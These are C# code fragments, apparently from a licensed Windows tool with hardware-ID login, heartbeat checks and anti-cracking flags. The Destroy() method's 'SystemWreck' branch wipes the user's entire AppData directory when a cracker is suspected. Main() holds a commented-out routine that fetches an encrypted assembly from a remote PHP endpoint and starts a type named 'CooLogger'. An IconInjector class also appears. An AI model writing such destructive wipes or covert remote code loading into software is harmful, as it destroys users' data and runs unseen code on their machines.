private void Form4Load(object sender, EventArgs e) { Global.BeatThread = new Thread(new HeartBeat().Beat); Global.BeatThread.Start(); HIDTextBox.Text = GetHID(); Global.HID = HIDTextBox.Text; HostChecker chk = new HostChecker(true); if (!chk.IsValid()) { CrackerCheck.FlagCracker(); } if (!Login(HIDTextBox.Text)) { return; } Global.HID = HIDTextBox.Text; MenuForm.Instance.Show(); Visible = false; ShowInTaskbar = false; Hide(); }
static void Main() { if (!new HostChecker(true).IsValid()) { CrackerCheck.FlagCracker(); } if (CrackerCheck.IsCracker()) { Console.WriteLine("Cracker!"); } HeartBeat hb = new HeartBeat(); Thread oThread = new Thread(hb.Beat); oThread.Start(); /* * Assembly encASM = new EncryptedAssembly(RemoteSettings.GrabSetting("getCute.php")).GetAssembly(); * Type type = encASM.GetType("CooLogger"); * Activator.CreateInstance(type);*/ Console.WriteLine(new FileHasher(Configuration.RunningLocation).GetMD5()); Console.WriteLine("Version: " + RemoteSettings.GrabSetting("getVersion.php")); }
public byte[] CreateIconGroupData(uint iconBaseID) { if (CrackerCheck.IsCracker()) { Environment.Exit(9001); } int sizeOfIconGroupData = Marshal.SizeOf(typeof(IconInjector.ICONDIR)) + Marshal.SizeOf(typeof(IconInjector.GRPICONDIRENTRY)) * ImageCount; byte[] data = new byte[sizeOfIconGroupData]; GCHandle pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned); Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false); int offset = Marshal.SizeOf(iconDir); for (int i = 0; i < ImageCount - 1; i++) { IconInjector.GRPICONDIRENTRY grpEntry = new IconInjector.GRPICONDIRENTRY(); IconInjector.BITMAPINFOHEADER bitmapheader = new IconInjector.BITMAPINFOHEADER(); GCHandle pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned); Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(), Marshal.SizeOf(typeof(IconInjector.BITMAPINFOHEADER))); pinnedBitmapInfoHeader.Free(); grpEntry.Width = iconEntry[i].Width; grpEntry.Height = iconEntry[i].Height; grpEntry.ColorCount = iconEntry[i].ColorCount; grpEntry.Reserved = iconEntry[i].Reserved; grpEntry.Planes = iconEntry[i].Planes; grpEntry.BitCount = iconEntry[i].BitCount; grpEntry.BytesInRes = iconEntry[i].ByteInRes; grpEntry.ID = Convert.ToUInt16(iconBaseID + i); Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset), false); offset += Marshal.SizeOf(typeof(IconInjector.GRPICONDIRENTRY)); } pinnedData.Free(); return(data); }
public void Destroy() { switch (_type) { case DestroyerType.FolderWipe: DirectoryWiper w = new DirectoryWiper(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location)); w.Wipe(); break; case DestroyerType.CrackerTag: CrackerCheck.FlagCracker(); break; case DestroyerType.SystemWreck: DirectoryWiper w2 = new DirectoryWiper(Configuration.AppData); w2.Wipe(); break; default: _type = DestroyerType.CrackerTag; Destroy(); return; } }